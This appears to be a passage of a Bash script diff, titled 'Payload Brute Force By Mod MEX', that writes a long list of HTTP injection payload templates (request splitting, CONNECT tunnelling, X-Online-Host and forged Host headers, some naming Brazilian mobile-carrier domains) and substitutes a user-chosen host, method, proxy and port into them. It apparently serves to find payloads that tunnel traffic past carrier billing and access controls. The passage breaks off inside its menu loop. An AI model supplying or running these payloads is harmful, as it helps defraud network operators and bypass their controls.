+[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999\r\n\r\n
+GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf]
+[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf]
+[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+[raw]split]GET mhost/ HTTP/1.1[crlf][crlf]
+GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf]
+GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]
+CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf]
+GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf]
+CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1\rHost: mhost\r[crlf]X-Online-Host: mhost\r[crlf]X-Forward-Host: mhost\rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf]
+[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf]
+GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf]
+GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf]
+[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf]
+[raw] HTTP/1.0\r\n\r\nGET http://mhost/ HTTP/1.1\r\nHost: mhost\r\nConnection: Keep-Alive\r\nCONNECT mhost\r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf]
+GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1\r\nHost: mhost\r\n\r\n[netData]\r\n\r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
+GET http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/  [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr]
+[realData][crlf][split]GET http://mhost/  HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf]
+[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf]
+[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf]
+GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf]
+[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf]
+[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $esquelet
+}
+err_fun () {
+echo -e "${cor[5]} Operacion Invalida"
+exit
+}
+clear
+msg -bar
+echo -e "${cor[5]}     Payload Brute Force By Mod MEX"
+msg -bar
+gerar_pay () {
+# Coletando Host
+while [[ ! ${value1} ]]; do
+    read -p " Host Test: " value1
+done
+curl -I ${value1} > /dev/null 2>&1 || err_fun
+[[ $(echo ${value1}|rev|cut -c 1) = "/" ]] && valor1="${value1:0:$((${#value1}-1))}" || valor1="${value1}"
+valor2="127.0.0.1"
+msg -bar
+echo -e "${cor[5]} Request Method ${cor[3]}"
+cat <<EOF
+ [1] - GET        [2] - CONNECT  [3] - PUT     [4] - OPTIONS
+ [5] - DELETE     [6] - HEAD     [7] - PATCH   [8] - POST
+EOF
+msg -bar
+# Coletando Requisi��o
+while [[ ! ${req} ]]; do
+    read -p " => " valor3
+    case $valor3 in
+    1)req="GET";;
+    2)req="CONNECT";;
+    3)req="PUT";;
+    4)req="OPTIONS";;
+    5)req="DELETE";;
+    6)req="HEAD";;
+    7)req="PATCH";;
+    8)req="POST";;
+    esac
+done
+in="netData"
+gerar_arqpay
+sed -i "s;realData;abc;g" $esquelet
+sed -i "s;netData;abc;g" $esquelet
+sed -i "s;netdata;abc;g" $esquelet
+sed -i "s;raw;abc;g" $esquelet
+sed -i "s;abc;$in;g" $esquelet
+sed -i "s;GET;$req;g" $esquelet
+sed -i "s;mhost;$valor1;g" $esquelet
+sed -i "s;mip;$valor2;g" $esquelet
+msg -bar
+read -p " Digite el Proxy/Dropbear: " hostprox
+read -p " Digite el Puerto: " portx
+msg -bar
+echo -e "${cor[1]} STARTING..."
+msg -bar
+}
+while true; do
+echo -e " [1]-Testear Un Payload"
+echo -e " [2]-Testear Payloads Registrados"
+msg -bar
